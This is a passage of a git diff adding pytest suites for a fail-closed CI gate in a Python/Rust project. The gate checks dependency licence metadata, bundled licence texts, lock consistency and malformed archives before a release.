+def test_duplicate_archive_members_are_refused(ecosystem):
+    buffer = io.BytesIO()
+    if ecosystem == "pypi":
+        with zipfile.ZipFile(buffer, "w") as archive:
+            archive.writestr("LICENSE", "one")
+            with pytest.warns(UserWarning):
+                archive.writestr("LICENSE", "two")
+    else:
+        with tarfile.open(fileobj=buffer, mode="w") as archive:
+            for text in (b"one", b"two"):
+                member = tarfile.TarInfo("LICENSE")
+                member.size = len(text)
+                archive.addfile(member, io.BytesIO(text))
+    with pytest.raises(gate.GateError) as error:
+        gate.archive_license_evidence(buffer.getvalue(), ecosystem)
+    assert error.value.code == gate.ARCHIVE_PATH_ESCAPE
+
+
+@pytest.mark.parametrize("ecosystem", ["pypi", "cargo"])
+def test_nested_license_bytes_and_raw_hash_are_preserved(ecosystem):
+    text = "one\r\ntwo\n"
+    path = "a/b/c/d/e/LICENCE"
+    raw = _fixture_archive({path: text}, ecosystem)
+    evidence = gate.archive_license_evidence(raw, ecosystem)
+    assert evidence["license_texts"] == {path: text}
+    assert evidence["license_member_sha256"] == {path: hashlib.sha256(text.encode()).hexdigest()}
+    assert evidence["source_sha256"] == hashlib.sha256(raw).hexdigest()
+
+
+@pytest.mark.parametrize("present", [True, False])
+def test_declared_custom_wheel_license_member(present):
+    files = {"example.dist-info/METADATA": "License-File: legal/custom.txt\n\n"}
+    if present:
+        files["example.dist-info/licenses/legal/custom.txt"] = "restricted terms"
+    raw = _fixture_archive(files, "pypi")
+    if present:
+        assert gate.archive_license_evidence(raw, "pypi")["license_texts"] == {
+            "example.dist-info/licenses/legal/custom.txt": "restricted terms"}
+    else:
+        with pytest.raises(gate.GateError, match=gate.CAPTURE_INCOMPLETE):
+            gate.archive_license_evidence(raw, "pypi")
diff --git a/tests/test_release_dependency_declared_metadata.py b/tests/test_release_dependency_declared_metadata.py
new file mode 100644
index 0000000000..bf7a2b9e9a
--- /dev/null
+++ b/tests/test_release_dependency_declared_metadata.py
@@ -0,0 +1,250 @@
+"""Licence facts must come from the artifact, not from an installed environment (#2342).
+
+The gate judges a licence *before* the release closure is installed, so it can no
+longer read ``pip inspect`` of a lock-only environment: at that point no such
+environment exists. It reads each fetched distribution's own ``METADATA`` (wheel)
+or ``PKG-INFO`` (sdist) instead, and re-checks that the archive declares the
+pinned project and version — a file whose metadata names something else must fail
+rather than be adjudicated under the wrong identity.
+
+``install_is_authorized`` is the other half: the install step may run only when a
+prescreen report records a passed licence stage, so a missing, malformed or
+failing report refuses the install instead of defaulting to permitted.
+"""
+
+from __future__ import annotations
+
+import io
+import json
+import tarfile
+import zipfile
+from pathlib import Path
+
+import pytest
+
+from scripts.ci import release_dependency_gate as gate
+
+_METADATA = (
+    "Metadata-Version: 2.4\n"
+    "Name: Green.Lib\n"
+    "Version: 1.0.0\n"
+    "License-Expression: MIT\n"
+    "License: MIT\n"
+    "Classifier: License :: OSI Approved :: MIT License\n"
+    "Classifier: Programming Language :: Python :: 3\n"
+    "\n"
+    "Body text is not metadata.\n"
+)
+
+
+def _wheel(directory: Path, metadata: str = _METADATA, *, member: str | None = None) -> Path:
+    path = directory / "green_lib-1.0.0-py3-none-any.whl"
+    with zipfile.ZipFile(path, "w") as archive:
+        archive.writestr(member or "green_lib-1.0.0.dist-info/METADATA", metadata)
+        archive.writestr("green_lib/__init__.py", "")
+    return path
+
+
+def _sdist(directory: Path, metadata: str = _METADATA) -> Path:
+    path = directory / "green_lib-1.0.0.tar.gz"
+    raw = metadata.encode("utf-8")
+    with tarfile.open(path, "w:gz") as archive:
+        info = tarfile.TarInfo("green_lib-1.0.0/PKG-INFO")
+        info.size = len(raw)
+        archive.addfile(info, io.BytesIO(raw))
+    return path
+
+
+def test_wheel_metadata_is_read_from_the_distribution(tmp_path: Path) -> None:
+    declared = gate.distribution_declared_metadata(_wheel(tmp_path), "green-lib", "1.0.0")
+    assert declared == {
+        "ecosystem": "pypi",
+        "name": "green-lib",
+        "version": "1.0.0",
+        "license_expression": "MIT",
+        "license": "MIT",
+        "classifiers": ["License :: OSI Approved :: MIT License"],
+        "distribution_inclusion": ["sdist", "wheel"],
+        "known_vulnerabilities": [],
+    }
+
+
+def test_sdist_metadata_is_read_from_pkg_info(tmp_path: Path) -> None:
+    declared = gate.distribution_declared_metadata(_sdist(tmp_path), "green-lib", "1.0.0")
+    assert declared["license_expression"] == "MIT"
+    assert declared["version"] == "1.0.0"
+
+
+def test_absent_licence_fields_are_empty_rather_than_defaulted(tmp_path: Path) -> None:
+    bare = "Metadata-Version: 2.4\nName: green-lib\nVersion: 1.0.0\n\n"
+    declared = gate.distribution_declared_metadata(_wheel(tmp_path, bare), "green-lib", "1.0.0")
+    assert declared["license_expression"] == ""
+    assert declared["license"] == ""
+    assert declared["classifiers"] == []
+
+
+@pytest.mark.parametrize(
+    ("name", "version"),
+    [("other-lib", "1.0.0"), ("green-lib", "2.0.0")],
+)
+def test_metadata_that_contradicts_the_pin_is_refused(
+    tmp_path: Path, name: str, version: str
+) -> None:
+    with pytest.raises(gate.GateError) as error:
+        gate.distribution_declared_metadata(_wheel(tmp_path), name, version)
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def test_a_wheel_without_exactly_one_metadata_member_is_refused(tmp_path: Path) -> None:
+    path = tmp_path / "green_lib-1.0.0-py3-none-any.whl"
+    with zipfile.ZipFile(path, "w") as archive:
+        archive.writestr("green_lib-1.0.0.dist-info/METADATA", _METADATA)
+        archive.writestr("green_lib-1.0.1.dist-info/METADATA", _METADATA)
+    with pytest.raises(gate.GateError) as error:
+        gate.distribution_declared_metadata(path, "green-lib", "1.0.0")
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def test_a_nested_metadata_path_does_not_satisfy_the_member_requirement(tmp_path: Path) -> None:
+    path = _wheel(tmp_path, member="vendor/green_lib-1.0.0.dist-info/METADATA")
+    with pytest.raises(gate.GateError) as error:
+        gate.distribution_declared_metadata(path, "green-lib", "1.0.0")
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def test_non_utf8_metadata_is_refused(tmp_path: Path) -> None:
+    path = tmp_path / "green_lib-1.0.0-py3-none-any.whl"
+    with zipfile.ZipFile(path, "w") as archive:
+        archive.writestr("green_lib-1.0.0.dist-info/METADATA", b"Name: \xff\xfe\n")
+    with pytest.raises(gate.GateError) as error:
+        gate.distribution_declared_metadata(path, "green-lib", "1.0.0")
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def test_oversize_metadata_is_refused_rather_than_read(tmp_path: Path, monkeypatch) -> None:
+    monkeypatch.setattr(gate, "_MAX_METADATA_BYTES", 8)
+    with pytest.raises(gate.GateError) as error:
+        gate.distribution_declared_metadata(_wheel(tmp_path), "green-lib", "1.0.0")
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def test_oversize_sdist_metadata_is_refused_rather_than_read(
+    tmp_path: Path, monkeypatch
+) -> None:
+    monkeypatch.setattr(gate, "_MAX_METADATA_BYTES", 8)
+    with pytest.raises(gate.GateError) as error:
+        gate.distribution_declared_metadata(_sdist(tmp_path), "green-lib", "1.0.0")
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def test_an_sdist_without_exactly_one_top_level_pkg_info_is_refused(tmp_path: Path) -> None:
+    path = tmp_path / "green_lib-1.0.0.tar.gz"
+    with tarfile.open(path, "w:gz") as archive:
+        archive.addfile(tarfile.TarInfo("green_lib-1.0.0/src/PKG-INFO"), io.BytesIO(b""))
+    with pytest.raises(gate.GateError) as error:
+        gate.distribution_declared_metadata(path, "green-lib", "1.0.0")
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def test_a_symlinked_distribution_is_refused(tmp_path: Path) -> None:
+    real = _wheel(tmp_path)
+    link = tmp_path / "link.whl"
+    link.symlink_to(real)
+    with pytest.raises(gate.GateError) as error:
+        gate.distribution_declared_metadata(link, "green-lib", "1.0.0")
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def _report(path: Path, payload: object) -> Path:
+    path.write_text(json.dumps(payload) + "\n", encoding="utf-8")
+    return path
+
+
+def test_a_passed_licence_stage_authorizes_the_install(tmp_path: Path) -> None:
+    report = _report(tmp_path / "r.json", {"stage": gate.LICENSE_STAGE, "result": "PASS"})
+    gate.install_is_authorized(report)
+
+
+@pytest.mark.parametrize(
+    "payload",
+    [
+        {"stage": gate.LICENSE_STAGE, "result": "FAIL"},
+        {"stage": gate.FULL_STAGE, "result": "PASS"},
+        {"stage": gate.LICENSE_STAGE},
+        ["not", "an", "object"],
+    ],
+)
+def test_an_unpassed_or_malformed_report_refuses_the_install(
+    tmp_path: Path, payload: object
+) -> None:
+    report = _report(tmp_path / "r.json", payload)
+    with pytest.raises(gate.GateError) as error:
+        gate.install_is_authorized(report)
+    assert error.value.code == gate.LICENSE_MISSING
+
+
+def test_a_missing_report_refuses_the_install(tmp_path: Path) -> None:
+    with pytest.raises(gate.GateError) as error:
+        gate.install_is_authorized(tmp_path / "absent.json")
+    assert error.value.code == gate.LICENSE_MISSING
+
+
+def test_the_cli_emits_declared_metadata(tmp_path: Path, capsys) -> None:
+    code = gate.main(
+        [
+            "distribution-metadata",
+            "--distribution",
+            str(_wheel(tmp_path)),
+            "--name",
+            "green-lib",
+            "--version",
+            "1.0.0",
+        ]
+    )
+    assert code == 0
+    assert json.loads(capsys.readouterr().out)["license_expression"] == "MIT"
+
+
+def test_the_cli_authorizes_and_refuses_the_install(tmp_path: Path, capsys) -> None:
+    passed = _report(tmp_path / "pass.json", {"stage": gate.LICENSE_STAGE, "result": "PASS"})
+    assert gate.main(["install-authorized", "--report", str(passed)]) == 0
+    assert "authorized" in capsys.readouterr().out
+    failed = _report(tmp_path / "fail.json", {"stage": gate.LICENSE_STAGE, "result": "FAIL"})
+    assert gate.main(["install-authorized", "--report", str(failed)]) == 2
+    assert gate.LICENSE_MISSING in capsys.readouterr().err
+
+
+@pytest.mark.parametrize(
+    "expression", ["GPL-3.0-or-later", "AGPL-3.0-only", "LGPL-2.1-or-later", "NOASSERTION"]
+)
+def test_a_denied_or_unknown_expression_is_carried_through_verbatim(
+    tmp_path: Path, expression: str
+) -> None:
+    """The reader never normalizes or softens what the distribution declares.
+
+    Policy is applied later, by ``evaluate_dependency_license``. If this step
+    rewrote or dropped a copyleft or unknown expression, the licence stage would
+    adjudicate something the artifact never said. This replaces the equivalent
+    assertions of the deleted ``pip inspect``-based transform test, whose jq
+    program no longer exists: licence facts now come from the artifact, because
+    nothing is installed before the licence stage runs.
+    """
+
+    metadata = _METADATA.replace("License-Expression: MIT", f"License-Expression: {expression}")
+    declared = gate.distribution_declared_metadata(
+        _wheel(tmp_path, metadata), "green-lib", "1.0.0"
+    )
+    assert declared["license_expression"] == expression
+
+
+def test_a_declared_size_that_understates_the_stream_is_still_refused() -> None:
+    """The bound is enforced on the bytes read, not only on the declared size.
+
+    A zip entry's ``file_size`` is attacker-controlled metadata, so the size check
+    before the read cannot be the only one: the decode step refuses anything that
+    actually exceeds the bound even when the header claimed it would not.
+    """
+
+    with pytest.raises(gate.GateError) as error:
+        gate._decode_metadata(b"x" * (gate._MAX_METADATA_BYTES + 1), Path("METADATA"))
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
diff --git a/tests/test_release_dependency_full_text_contract.py b/tests/test_release_dependency_full_text_contract.py
new file mode 100644
index 0000000000..a4e80180dc
--- /dev/null
+++ b/tests/test_release_dependency_full_text_contract.py
@@ -0,0 +1,83 @@
+"""Whole-source evidence and real gate regressions; no dependency execution."""
+
+from pathlib import Path
+import hashlib
+
+import pytest
+
+from scripts.ci import release_dependency_gate as gate
+from scripts.ci import spdx_license_policy as policy
+from tests.test_release_dependency_gate import _python_evidence, _cargo_evidence, build_capture
+
+
+MIT = (Path(__file__).resolve().parents[1] / "LICENSE").read_text(encoding="utf-8")
+
+
+def test_reviewed_source_is_full_pinned_text():
+    assert hashlib.sha256(MIT.encode()).hexdigest() == (
+        "08f1fd81fb120bc468b69dc3e58ea0dc23c216305c766e45e107f56c76559e3f"
+    )
+    assert policy.recognize_license_text(MIT) == frozenset({"MIT"})
+    assert policy.recognize_license_text(MIT.replace("\n", "\r\n\t")) == frozenset({"MIT"})
+
+
+@pytest.mark.parametrize("body", [
+    "MIT License",
+    "MIT License\nPermission is hereby granted, free of charge, to any person.\n"
+    "Additional condition: use is permitted for academic research only. "
+    "Commercial use and redistribution are prohibited.",
+    "CREATIVE COMMONS LEGAL CODE\nAttribution-NonCommercial 4.0 International\n"
+    "Commercial use is prohibited.",
+    MIT + "\nAcademic research only.",
+    "Commercial redistribution is prohibited.\n" + MIT,
+    MIT.replace("without restriction", "only for academic research"),
+    MIT.replace("2026 ContextualWisdomLab", "2026 Example: commercial use prohibited"),
+    MIT + "\x00",
+    MIT + "\u200b",
+])
+def test_unreviewed_or_modified_whole_text_fails_closed(body):
+    assert policy.recognize_license_text(body) is None
+
+
+@pytest.mark.parametrize("expression,body", [
+    ("MIT", MIT + "\nAcademic research only. Commercial use is prohibited."),
+    ("CC0-1.0", "CREATIVE COMMONS LEGAL CODE\nAttribution-NonCommercial 4.0 International"),
+])
+def test_real_gate_rejects_review_counterexamples(tmp_path, expression, body):
+    capture = build_capture(tmp_path, python_evidence=_python_evidence(
+        license_expression=expression, license_texts={"LICENSE": body}))
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    assert not report.passed
+    assert any(f.code == policy.LICENSE_TEXT_UNVERIFIED and "greenlib" in f.subject
+               for f in report.failures)
+
+
+def test_real_gate_preserves_unsupported_cargo_hold_with_verified_python(tmp_path):
+    capture = build_capture(tmp_path, python_evidence=_python_evidence(
+        license_texts={"LICENSE": MIT}), cargo_evidence=_cargo_evidence(
+            license_texts={"LICENSE-APACHE": "Apache License\nVersion 2.0, January 2004"}))
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    assert not report.passed  # Explicitly incomplete Apache is still not MIT.
+    assert report.failures
+    assert all("greencrate" in f.subject and f.code == policy.LICENSE_TEXT_UNVERIFIED
+               for f in report.failures)
+
+
+@pytest.mark.parametrize("extra", ["UNKNOWN", "Commercial use prohibited.", MIT + " extra"])
+def test_each_license_file_must_be_verified(extra):
+    failures, decision, _ = gate.evaluate_dependency_license(
+        _python_evidence(license_texts={"LICENSE": MIT, "NOTICE": extra}),
+        "pypi/greenlib@1.0.0", None)
+    assert decision.allowed  # Metadata policy and bundled-text evidence differ.
+    assert [f.code for f in failures] == [policy.LICENSE_TEXT_UNVERIFIED]
+
+
+def test_positive_same_caller_and_gpl_separate_file():
+    failures, _, _ = gate.evaluate_dependency_license(
+        _python_evidence(license_texts={"LICENSE": MIT}), "pypi/greenlib@1.0.0", None)
+    assert failures == []
+    failures, _, _ = gate.evaluate_dependency_license(
+        _python_evidence(license_texts={"LICENSE": MIT,
+                                      "COPYING": "GNU GENERAL PUBLIC LICENSE Version 3"}),
+        "pypi/greenlib@1.0.0", None)
+    assert [f.code for f in failures] == [gate.LICENSE_TEXT_DISAGREEMENT]
diff --git a/tests/test_release_dependency_gate.py b/tests/test_release_dependency_gate.py
new file mode 100644
index 0000000000..1799c39e23
--- /dev/null
+++ b/tests/test_release_dependency_gate.py
@@ -0,0 +1,745 @@
+"""Fail-closed pre-publish dependency gate behaviour (issue #2342).
+
+Every RED case below builds a complete, otherwise-passing capture and mutates
+exactly one fact, so each failure is attributable. Assertions are on the gate's
+stable machine-readable codes, never on prose.
+"""
+
+from __future__ import annotations
+
+import hashlib
+import io
+import json
+import tarfile
+import zipfile
+from pathlib import Path
+from typing import Any
+
+import pytest
+
+from scripts.ci import release_dependency_gate as gate
+from scripts.ci import spdx_license_policy as policy
+
+SOURCE_SHA = "a" * 40
+REPOSITORY = "ContextualWisdomLab/fast-mlsirm"
+REVIEWED_TEXTS = json.loads(
+    (Path(__file__).parent / "fixtures/release_license_texts/texts.json").read_text(encoding="utf-8")
+)
+
+
+def _hash(label: str) -> str:
+    """Return a deterministic synthetic sha256 for one capture subject."""
+    return hashlib.sha256(label.encode("utf-8")).hexdigest()
+
+
+PY_HASH = _hash("greenlib-1.0.0")
+CRATE_HASH = _hash("greencrate-0.1.0")
+
+
+def _fixture_archive(texts: dict[str, str], ecosystem: str) -> bytes:
+    """Create real deterministic small archives, without executing their code."""
+    buffer = io.BytesIO()
+    if ecosystem == "pypi":
+        with zipfile.ZipFile(buffer, "w") as archive:
+            for name, text in sorted(texts.items()):
+                archive.writestr(zipfile.ZipInfo(name), text.encode("utf-8"))
+    else:
+        with tarfile.open(fileobj=buffer, mode="w") as archive:
+            for name, text in sorted(texts.items()):
+                raw = text.encode("utf-8")
+                member = tarfile.TarInfo(name)
+                member.size = len(raw)
+                archive.addfile(member, io.BytesIO(raw))
+    return buffer.getvalue()
+
+
+PY_HASH = hashlib.sha256(_fixture_archive({"LICENSE": REVIEWED_TEXTS["pytest-9.1.1.txt"]}, "pypi")).hexdigest()
+CRATE_HASH = hashlib.sha256(_fixture_archive({"LICENSE-APACHE": REVIEWED_TEXTS["atheris-3.1.0.txt"]}, "cargo")).hexdigest()
+
+
+def _python_evidence(**overrides: Any) -> dict[str, Any]:
+    """Build one passing Python dependency evidence document."""
+    evidence: dict[str, Any] = {
+        "ecosystem": "pypi",
+        "name": "greenlib",
+        "version": "1.0.0",
+        "source_sha256": PY_HASH,
+        "license_expression": "MIT",
+        "license": "",
+        "classifiers": [],
+        "distribution_inclusion": ["sdist", "wheel"],
+        "known_vulnerabilities": [],
+        "license_texts": {"LICENSE": REVIEWED_TEXTS["pytest-9.1.1.txt"]},
+        "install_hook_sources": {},
+        "archive_members": [{"type": "file", "name": "greenlib/__init__.py", "linkname": ""}],
+        "parsed_inputs": ["greenlib/__init__.py"],
+        "native_libraries": [
+            {
+                "path": "greenlib/_speed.so",
+                "needed": ["libc.so.6", "libgcc_s.so.1", "libpython3.13.so.1.0"],
+                "static_archives": [],
+            }
+        ],
+        "bundled_library_licenses": {},
+    }
+    evidence.update(overrides)
+    return evidence
+
+
+def _cargo_evidence(**overrides: Any) -> dict[str, Any]:
+    """Build one passing Cargo dependency evidence document."""
+    evidence: dict[str, Any] = {
+        "ecosystem": "cargo",
+        "name": "greencrate",
+        "version": "0.1.0",
+        "source_sha256": CRATE_HASH,
+        "license_expression": "Apache-2.0",
+        "license": "",
+        "classifiers": [],
+        "distribution_inclusion": ["wheel"],
+        "known_vulnerabilities": [],
+        # A compliant crate ships its license text; an absent one is now refused as
+        # unverifiable, which `test_release_dependency_license_text_evidence.py` covers.
+        "license_texts": {"LICENSE-APACHE": REVIEWED_TEXTS["atheris-3.1.0.txt"]},
+        "install_hook_sources": {},
+        "archive_members": [{"type": "file", "name": "greencrate/src/lib.rs", "linkname": ""}],
+        "parsed_inputs": ["src/lib.rs"],
+        "native_libraries": [],
+        "bundled_library_licenses": {},
+    }
+    evidence.update(overrides)
+    return evidence
+
+
+CARGO_LOCK = f"""
+version = 4
+
+[[package]]
+name = "fast-mlsirm"
+version = "0.11.5"
+
+[[package]]
+name = "greencrate"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "{CRATE_HASH}"
+"""
+
+CARGO_METADATA: dict[str, Any] = {
+    "packages": [
+        {"id": "root-id", "name": "fast-mlsirm", "version": "0.11.5", "source": None},
+        {
+            "id": "greencrate-id",
+            "name": "greencrate",
+            "version": "0.1.0",
+            "source": "registry+https://github.com/rust-lang/crates.io-index",
+            "license": "Apache-2.0",
+        },
+    ],
+    "resolve": {
+        "root": "root-id",
+        "nodes": [
+            {
+                "id": "root-id",
+                "deps": [{"pkg": "greencrate-id", "dep_kinds": [{"kind": "build"}]}],
+            },
+            {"id": "greencrate-id", "deps": []},
+        ],
+    },
+}
+
+
+def _write(path: Path, payload: Any) -> None:
+    """Write one JSON capture member, creating parents as needed."""
+    path.parent.mkdir(parents=True, exist_ok=True)
+    path.write_text(json.dumps(payload, indent=2, sort_keys=True) + "\n", encoding="utf-8")
+
+
+def _write_binding(root: Path, dependency: gate.Dependency, evidence: dict[str, Any]) -> None:
+    """Write the structured Strix binding that matches one dependency's fixture."""
+    fixture = gate.build_fixture(dependency, evidence)
+    _write(
+        root / "strix" / "bindings" / f"{dependency.slug}.json",
+        {
+            "schema": gate.BINDING_SCHEMA,
+            "dependency": fixture["dependency"],
+            "fixture": {
+                "id": dependency.key,
+                "sha256": gate.fixture_digest(fixture),
+                "scenarios": list(gate.REQUIRED_SCENARIOS),
+            },
+            "source_sha": SOURCE_SHA,
+            "findings": [],
+            "verdict": "no_exploitable_findings",
+        },
+    )
+
+
+def build_capture(
+    root: Path,
+    *,
+    python_evidence: dict[str, Any] | None = None,
+    cargo_evidence: dict[str, Any] | None = None,
+    lock_text: str | None = None,
+    installed: dict[str, Any] | None = None,
+    selections: list[dict[str, str]] | None = None,
+) -> Path:
+    """Build a complete GREEN capture tree, applying the caller's single mutation."""
+    python_evidence = python_evidence if python_evidence is not None else _python_evidence()
+    cargo_evidence = cargo_evidence if cargo_evidence is not None else _cargo_evidence()
+    archive_bytes = {}
+    for ecosystem, evidence, original_hash in (
+            ("pypi", python_evidence, PY_HASH), ("cargo", cargo_evidence, CRATE_HASH)):
+        texts = evidence.get("license_texts", {})
+        texts = texts if isinstance(texts, dict) else {}
+        snapshot = _fixture_archive(texts, ecosystem)
+        archive_bytes[ecosystem] = snapshot
+        if evidence.get("source_sha256") == original_hash:
+            evidence["source_sha256"] = hashlib.sha256(snapshot).hexdigest()
+        evidence["license_member_sha256"] = {
+            name: hashlib.sha256(text.encode()).hexdigest() for name, text in texts.items()}
+    _write(
+        root / "release.json",
+        {
+            "source_repository": REPOSITORY,
+            "source_sha": SOURCE_SHA,
+            "ecosystems": ["python", "cargo"],
+        },
+    )
+    (root / "python").mkdir(parents=True, exist_ok=True)
+    (root / "python" / "lock.txt").write_text(
+        lock_text
+        if lock_text is not None
+        else f"greenlib==1.0.0 \\\n    --hash=sha256:{hashlib.sha256(archive_bytes['pypi']).hexdigest()}\n",
+        encoding="utf-8",
+    )
+    _write(
+        root / "python" / "installed.json",
+        installed
+        if installed is not None
+        else {"installed": [{"metadata": {"name": "greenlib", "version": "1.0.0"}}]},
+    )
+    (root / "cargo").mkdir(parents=True, exist_ok=True)
+    (root / "cargo" / "Cargo.lock").write_text(
+        CARGO_LOCK.replace(CRATE_HASH, hashlib.sha256(archive_bytes["cargo"]).hexdigest()), encoding="utf-8")
+    _write(root / "cargo" / "metadata.json", CARGO_METADATA)
+
+    python_dependency = gate.Dependency("pypi", "greenlib", "1.0.0")
+    cargo_dependency = gate.Dependency("cargo", "greencrate", "0.1.0")
+    for dependency, evidence in (
+        (python_dependency, python_evidence),
+        (cargo_dependency, cargo_evidence),
+    ):
+        (root / "archives").mkdir(exist_ok=True)
+        (root / "archives" / f"{dependency.slug}.archive").write_bytes(archive_bytes[dependency.ecosystem])
+        _write(root / "evidence" / f"{dependency.slug}.json", evidence)
+        # `capture` writes the isolated fixture beside the evidence for every
+        # dependency, so a realistic capture tree carries both. The scope
+        # comparison requires the full set of each.
+        _write(
+            root / "strix" / "fixtures" / f"{dependency.slug}.json",
+            gate.build_fixture(dependency, evidence),
+        )
+        _write_binding(root, dependency, evidence)
+    if selections is not None:
+        _write(root / "license-selections.json", selections)
+    return root
+
+
+def _codes(report: gate.GateReport) -> set[str]:
+    """Return the set of failure codes the gate produced."""
+    return {failure.code for failure in report.failures}
+
+
+# ---------------------------------------------------------------------------
+# GREEN
+# ---------------------------------------------------------------------------
+
+
+def test_green_mit_apache_bsd_release_passes(tmp_path: Path) -> None:
+    """An MIT Python dependency and an Apache-2.0 crate pass the whole gate."""
+    report = gate.gate(build_capture(tmp_path))
+    assert report.failures == []
+    assert report.passed
+    payload = report.to_json()
+    assert payload["result"] == "PASS"
+    assert payload["dependency_count"] == 2
+    assert {row["key"] for row in payload["dependencies"]} == {
+        "pypi/greenlib@1.0.0",
+        "cargo/greencrate@0.1.0",
+    }
+    assert gate.SHA256_RE.fullmatch(payload["strix_evidence_binder_sha256"])
+
+
+def test_green_release_exits_zero_through_the_cli(tmp_path: Path) -> None:
+    """The CLI writes the report and exits 0 for a passing release."""
+    capture = build_capture(tmp_path / "capture")
+    report_path = tmp_path / "report.json"
+    exit_code = gate.main(["gate", "--capture", str(capture), "--report", str(report_path)])
+    assert exit_code == 0
+    assert json.loads(report_path.read_text(encoding="utf-8"))["result"] == "PASS"
+
+
+def test_green_bsd_dependency_with_selected_dual_license(tmp_path: Path) -> None:
+    """A BSD-3-Clause dual license passes once the selection and rationale exist."""
+    capture = build_capture(
+        tmp_path,
+        python_evidence=_python_evidence(
+            license_expression="BSD-3-Clause OR GPL-2.0-only",
+            # The bundled text must agree with what is declared: keeping the default
+            # MIT body here would be a real LICENSE_TEXT_DISAGREEMENT.
+            license_texts={
+                "LICENSE": REVIEWED_TEXTS["colorama-0.4.6.txt"]
+            },
+        ),
+        selections=[
+            {
+                "ecosystem": "pypi",
+                "name": "greenlib",
+                "version": "1.0.0",
+                "chosen": "BSD-3-Clause",
+                "rationale": "BSD-3-Clause selected; GPL option is never exercised",
+            }
+        ],
+    )
+    report = gate.gate(capture)
+    assert report.failures == []
+    row = next(row for row in report.dependencies if row["key"] == "pypi/greenlib@1.0.0")
+    assert row["license"] == "BSD-3-Clause"
+    assert "GPL option is never exercised" in row["license_selection_rationale"]
+
+
+# ---------------------------------------------------------------------------
+# RED: license denial
+# ---------------------------------------------------------------------------
+
+
+@pytest.mark.parametrize(
+    ("expression", "code"),
+    [
+        ("GPL-3.0-or-later", policy.LICENSE_DENIED_GPL),
+        ("LGPL-2.1-only", policy.LICENSE_DENIED_LGPL),
+        ("AGPL-3.0-only", policy.LICENSE_DENIED_AGPL),
+    ],
+)
+def test_red_copyleft_dependency_is_refused(
+    tmp_path: Path, expression: str, code: str
+) -> None:
+    """A GPL, LGPL, or AGPL dependency independently refuses the release."""
+    capture = build_capture(
+        tmp_path, python_evidence=_python_evidence(license_expression=expression)
+    )
+    report = gate.gate(capture)
+    assert code in _codes(report)
+    assert not report.passed
+
+
+def test_red_unknown_license_is_refused(tmp_path: Path) -> None:
+    """A dependency with no usable license declaration refuses the release."""
+    capture = build_capture(
+        tmp_path,
+        python_evidence=_python_evidence(
+            license_expression="", license="", classifiers=[]
+        ),
+    )
+    assert policy.LICENSE_MISSING in _codes(gate.gate(capture))
+
+
+def test_red_noassertion_license_is_refused(tmp_path: Path) -> None:
+    """``NOASSERTION`` is refused rather than treated as informational."""
+    capture = build_capture(
+        tmp_path, python_evidence=_python_evidence(license_expression="NOASSERTION")
+    )
+    assert policy.LICENSE_UNRECOGNIZED in _codes(gate.gate(capture))
+
+
+def test_red_bundled_gpl_text_contradicting_permissive_metadata(tmp_path: Path) -> None:
+    """A dependency declaring MIT while shipping GPL text is a disagreement failure."""
+    capture = build_capture(
+        tmp_path,
+        python_evidence=_python_evidence(
+            license_texts={"COPYING": "GNU GENERAL PUBLIC LICENSE Version 3"}
+        ),
+    )
+    assert gate.LICENSE_TEXT_DISAGREEMENT in _codes(gate.gate(capture))
+
+
+def test_red_bundled_gpl_text_on_already_denied_metadata(tmp_path: Path) -> None:
+    """Bundled copyleft text is reported even when the metadata already failed."""
+    capture = build_capture(
+        tmp_path,
+        python_evidence=_python_evidence(
+            license_expression="",
+            license_texts={"COPYING": "GNU LESSER GENERAL PUBLIC LICENSE"},
+        ),
+    )
+    assert gate.LICENSE_DENIED_IN_BUNDLED_TEXT in _codes(gate.gate(capture))
+
+
+def test_red_dual_license_without_selection(tmp_path: Path) -> None:
+    """A dual-licensed dependency with no recorded selection refuses the release."""
+    capture = build_capture(
+        tmp_path,
+        python_evidence=_python_evidence(license_expression="MIT OR GPL-2.0-only"),
+    )
+    assert policy.LICENSE_SELECTION_REQUIRED in _codes(gate.gate(capture))
+
+
+def test_license_falls_back_through_legacy_field_then_classifiers(tmp_path: Path) -> None:
+    """Declaration precedence is License-Expression, then License, then classifiers."""
+    legacy = build_capture(
+        tmp_path / "legacy",
+        python_evidence=_python_evidence(license_expression="", license="Apache-2.0"),
+    )
+    report = gate.gate(legacy)
+    row = next(row for row in report.dependencies if row["ecosystem"] == "pypi")
+    assert (row["license_source"], row["license"]) == ("License", "Apache-2.0")
+
+    trove = build_capture(
+        tmp_path / "trove",
+        python_evidence=_python_evidence(
+            license_expression="",
+            license="",
+            classifiers=["License :: OSI Approved :: MIT License"],
+        ),
+    )
+    row = next(row for row in gate.gate(trove).dependencies if row["ecosystem"] == "pypi")
+    assert (row["license_source"], row["license"]) == ("classifier", "MIT")
+
+
+# ---------------------------------------------------------------------------
+# RED: enumeration, hashes, and native linking
+# ---------------------------------------------------------------------------
+
+
+def test_red_lock_and_environment_disagree(tmp_path: Path) -> None:
+    """An installed distribution absent from the lock refuses the release."""
+    capture = build_capture(
+        tmp_path,
+        installed={
+            "installed": [
+                {"metadata": {"name": "greenlib", "version": "1.0.0"}},
+                {"metadata": {"name": "sneaky", "version": "9.9.9"}},
+            ]
+        },
+    )
+    report = gate.gate(capture)
+    assert gate.LOCK_ENV_MISMATCH in _codes(report)
+    assert any("pypi/sneaky@9.9.9" == failure.subject for failure in report.failures)
+
+
+def test_red_locked_requirement_missing_from_environment(tmp_path: Path) -> None:
+    """A locked requirement that was never installed refuses the release too."""
+    capture = build_capture(
+        tmp_path,
+        lock_text=(
+            f"greenlib==1.0.0 --hash=sha256:{PY_HASH}\n"
+            f"absent==2.0.0 --hash=sha256:{_hash('absent')}\n"
+        ),
+    )
+    assert gate.LOCK_ENV_MISMATCH in _codes(gate.gate(capture))
+
+
+def test_red_tampered_source_hash(tmp_path: Path) -> None:
